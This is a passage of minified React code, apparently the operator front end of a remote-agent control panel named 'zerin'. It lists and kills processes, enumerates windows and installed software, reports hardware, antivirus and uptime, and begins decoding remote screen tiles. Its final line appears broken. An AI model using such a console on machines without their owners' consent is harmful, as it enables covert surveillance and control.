transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:H,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors capitalize`,children:y.action})]})]})})]})}function vU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState(null),[x,g]=p.useState(null),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:S}=await Ce(e,{command:"ps"});u(!0);let N=0;const z=30;v.current=setInterval(async()=>{var O;N++;try{const T=(O=(await Tn(e)).results)==null?void 0:O.find(P=>P.task_id===S);if(T){if(v.current&&clearInterval(v.current),v.current=null,a(!1),T.error){l(T.error);return}if(T.output){const P=T.output.split(` +`).filter(L=>L.trim()),U=[];for(const L of P){const F=L.trim().split(/\s+/);if(F.length>=2){const W=parseInt(F[0],10);if(!isNaN(W)){const H=F.length>=3?parseInt(F[1],10):0,B=!isNaN(H)&&F.length>=3,q=B?F.length>=4&&F.slice(3).join(" ")||F[2]:F.slice(1).join(" "),X=B&&F.length>=4?F[2]:void 0;U.push({pid:W,ppid:B?H:0,name:q,user:X,children:[]})}}}const K=new Map;U.forEach(L=>K.set(L.pid,L));const $=[];for(const L of U){const F=K.get(L.ppid);F&&F!==L?F.children.push(L):$.push(L)}r($.length>0?$:U.map(L=>({...L,children:[]})))}}else N>=z&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(S){l(S instanceof Error?S.message:"Failed to send command"),a(!1)}}},[e,y]),w=(S,N)=>{if(!N)return S;const z=N.toLowerCase();return S.filter(O=>{const E=O.name.toLowerCase().includes(z)||String(O.pid).includes(z),T=w(O.children,N).length>0;return E||T})},j=p.useCallback(async S=>{h(S),g(null);try{await Ce(e,{command:"kill",args:[String(S)]}),setTimeout(b,2e3)}catch(N){l(N instanceof Error?N.message:"Failed to kill process")}finally{h(null)}},[e,b]),k=w(n,d);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:S=>f(S.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),s.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:k.map(S=>s.jsx(P3,{process:S,depth:0,confirmKillPid:x,killingPid:m,onKillClick:N=>g(N),onKillConfirm:j,onKillCancel:()=>g(null)},S.pid))})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function P3({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o}){const[l,c]=p.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-xs`,children:[s.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),s.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&s.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),s.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),s.jsx("span",{children:f?s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>a(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?s.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(m=>s.jsx(P3,{process:m,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o},m.pid))]})}function gU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useCallback(async()=>{if(!m){a(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Ce(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const k=(w=(await Tn(e)).results)==null?void 0:w.find(S=>S.task_id===y);if(k){if(h.current&&clearInterval(h.current),h.current=null,a(!1),k.error){l(k.error);return}if(k.output)try{const S=JSON.parse(k.output);r(S)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),a(!1)}}},[e,m]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:x,disabled:m||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function yU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState("name"),[x,g]=p.useState("asc"),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:N}=await Ce(e,{command:"installed_apps"});u(!0);let z=0;const O=30;v.current=setInterval(async()=>{var E;z++;try{const P=(E=(await Tn(e)).results)==null?void 0:E.find(U=>U.task_id===N);if(P){if(v.current&&clearInterval(v.current),v.current=null,a(!1),P.error){l(P.error);return}if(P.output)try{const U=JSON.parse(P.output);r(U)}catch{l("Failed to parse installed apps data")}}else z>=O&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(N){l(N instanceof Error?N.message:"Failed to send command"),a(!1)}}},[e,y]);function w(N){m===N?g(z=>z==="asc"?"desc":"asc"):(h(N),g("asc"))}const k=[...d?n.filter(N=>{const z=d.toLowerCase();return N.name.toLowerCase().includes(z)||N.version.toLowerCase().includes(z)||N.publisher.toLowerCase().includes(z)}):n].sort((N,z)=>{const O=N[m]||"",E=z[m]||"",T=O.localeCompare(E,void 0,{sensitivity:"base"});return x==="asc"?T:-T}),S=({col:N})=>m!==N?null:x==="asc"?s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:N=>f(N.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?k.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",s.jsx(S,{col:"name"})]}),s.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",s.jsx(S,{col:"version"})]}),s.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",s.jsx(S,{col:"publisher"})]}),s.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",s.jsx(S,{col:"install_date"})]})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:k.map((N,z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:N.name}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:N.version||"-"}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:N.publisher||"-"}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:N.install_date||"-"})]},`${N.name}-${z}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[k.length," application",k.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function bU({agentId:e,agentStatus:t}){const[n,r]=p.useState(null),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),d=t==="dead",f=p.useRef(null);p.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const m=p.useCallback(async()=>{if(!d){a(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Ce(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Tn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,a(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),a(!1)}}},[e,d]);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:m,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(xi,{label:"CPU",value:n.cpu}),s.jsx(xi,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),s.jsx(xi,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),s.jsx(xi,{label:"GPU",value:n.gpu})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[s.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),s.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),s.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:s.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),s.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(xi,{label:"OS",value:n.os}),s.jsx(xi,{label:"AV",value:n.av}),s.jsx(xi,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function xi({label:e,value:t}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),s.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function wU(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const a=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(E.current=window.setInterval(()=>{const 